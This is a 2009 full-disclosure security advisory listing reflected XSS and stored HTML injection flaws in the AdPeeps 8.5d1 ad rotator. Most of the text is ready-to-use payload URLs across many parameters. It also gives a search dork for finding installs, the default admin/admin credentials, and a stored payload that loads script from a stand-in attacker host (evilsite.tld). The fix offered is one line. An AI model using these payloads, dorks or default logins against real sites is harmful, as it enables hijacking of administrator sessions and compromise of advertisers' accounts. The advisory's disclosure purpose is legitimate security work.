[InterN0T] AdPeeps 8.5d1 - XSS and HTML Injection Vulnerabilities May 27 2009 07:16PM
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AdPeeps Ad Rotator - XSS and HTML Injection Vulnerabilities

Version Affected: 8.5d1 (3-18-09) (newest)

Info: Ad Peeps is a banner rotator and text ad rotator - all in one that allows you to track, sell and manage banner ads, rich-media/flash ads and text ads on your website. Built using PHP/MYSQL, Ad Peeps provides you and your advertisers with highly detailed real-time statistics and is capable of delivering millions of impressions per day on a typical shared web server. - Plus, you can try it right now on your website with our 7 day trial.

Ad Peeps is so versatile that it can even show your text ads Yahoo! Style or Google AdWords Style. Unlike many other banner ad rotator programs, Ad Peeps was skillfully designed to use minimal server resources while maintaining speed and unparalleled performance. Built on a highly scalable and versatile database architecture, Ad Peeps works without fuss even on high traffic web sites and won't crash your high powered website..

Opinion: AdPeeps, along with many others should really hire people to audit their code.

Credits: Matt and all of InterN0T :-)

Googled0rk: (there might be more accurate d0rks)

intitle:"Advertisement Management Control Panel"

External Links:

http://www.adpeeps.com/

http://www.adpeeps.com/signup.html

http://demo.adpeeps.com/index.php?loc=adminlogin&uid=100000

Default Login:

admin / admin

-:: The Advisory ::-

Version Information:

http://www.website.tld/adpeeps/index.php?loc=adminlogin&uid=100000

Information Disclosure: (discloses the full path to the file)

http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid=SomeRandom
String

Vulnerable Function / ID Calls: (XSS)

uid, campainid, type, period, loginpass, accname, e9, from, subject & idno

Possible Filtered / Bad Chars: ' (quotes are semi-filtered too with a \ prepended, however this does not prevent XSS from being executed)

Cross Site Scripting: ( "><script>alert(0)</script> )

http://www.website.tld/adpeeps/index.php?uid="><script>alert(0)</script>

http://www.website.tld/adpeeps/index.php?loc=login_lookup&uid="><script>
alert(0)</script>

http://www.website.tld/adpeeps/index.php?loc=adminlogin&uid="><script>al
ert(0)</script>

http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=new&uid
=100000&campaignid="><script>alert(0)</script>

http://www.website.tld/adpeeps/index.php?loc=view_account_stats&uid=1000
00&type="><script>alert(2)</script>&period="><script>alert(1)</script>

http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid="><script>
alert(0)</script>

http://www.website.tld/adpeeps/index.php?loc=account_confirmation&accnam
e="><script>alert(1)</script>&loginpass="><script>alert(2)</script>&uid=
100000

http://www.website.tld/adpeeps/index.php?loc=setup_account&e6=new&e12=by
pass&e9="><script>alert(0)</script>

http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=10000
0&mode=1&errors=&from="><script>alert(1)</script>&message=&subject="><sc
ript>alert(2)</script>

http://www.website.tld/adpeeps/index.php?loc=edit_ad_package&uid=100000&
idno="><script>alert(0)</script>

-- The Cross Site Scripting will most likely not survive any logins from what our research results showed.

Affected Fields in the Signup Formular by HTML Injection:

- Advertiser Name

- First Name

- Last Name

- *Advertiser E-Mail

- Address

- Phone Number

- Password Hint

- URL to goto on click

*Was not tested but might be vulnerable.

Avoid HTML Injection In: (these fields gets sent to the administrator by e-mail)

Advertiser Name

First & Last Name

Advertiser E-mail

HTML Injection: : (insert: "><script>alert(0)</script> into the mentioned forms)

http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid=100000

- One will have to buy a user / ad-spot in order to exploit this issue.

Affected Sites by HTML Injection: (where Advertiser Name, First- and Last-name isn't used)

http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&ui
d=100000&campaignid=VALIDID (phone and passhint)

http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100
000&campaignid=VALIDID (address and phone)

http://www.website.tld/adpeeps/index.php?loc=view_ad_stats&uid=100000&ca
mpaignid=VALIDID&adno=VALIDID (ad url)

http://www.website.tld/adpeeps/index.php?loc=createadvertad&campaignid=V
ALIDID&uid=100000&adno=VALIDID&adtype=banner (ad url)

Affected Sites by HTML Injection: (where advertiser name is used)

http://www.website.tld/adpeeps/index.php?loc=view_account_stats&uid=1000
00&type=overall&period=all

http://www.website.tld/adpeeps/index.php?loc=mass_update_target_weight&u
id=100000

http://www.website.tld/adpeeps/index.php?loc=orderhistory&uid=100000

http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=10000
0&mode=1&errors=&from=&message=&subject=

http://www.website.tld/adpeeps/index.php?loc=campaignview&uid=100000&mes
sagecode=void

http://www.website.tld/adpeeps/index.php?loc=previouslydeleted&uid=10000
0 << Only when the Admin has deleted the user and looks at this page!

http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&ui
d=100000&campaignid=VALIDID

http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100
000&campaignid=VALIDID

Affected Sites by HTML Injection: (which requires abnormal injection. (the common alert(0) did not work))

http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&ui
d=100000&campaignid=VALIDID (first- and/or last-name)

http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=10000
0&mode=1&errors=&from=&message=&subject= (first- and/or last-name)

http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&ui
d=100000&campaignid=VALIDID (first- and/or last-name)

http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100
000&campaignid=VALIDID (first- and/or last-name)

The above "abnormal" injection we tested with was: "></td></tr></table><SCRIPT SRC=http://evilsite.tld/xss.js></SCRIPT><!--

-:: Solution ::-

The most easy solution is to validate user input and strip or convert bad / html characters.

Conclusion:

Even if One decides to (ab)use the Advertiser Name, First- and Last-name's as injection points and the administrator sees this (in an e-mail), then he will still be affected by the injection and possibly have a hard time deleting those malicious users safely except if he might have NoScript turned on for his own website. (the injection points might render the desired pages useless)

Reference:

http://forum.intern0t.net/exploits-vulnerabilities-pocs/1049-intern0t-ad
peeps-8-5d1-cross-site-scripting-html-injection-vulnerabilities.html

Disclosure Information:

- Vulnerabilities found 26th May 2009.

- Advisory finished and published on InterN0T th 27th May.

- Bugtraq (SecurityFocus) and Milw0rm contacted the 27th May.

*AdPeeps will be contacted soon. (full disclosure rocks!)

All of the best,

MaXe

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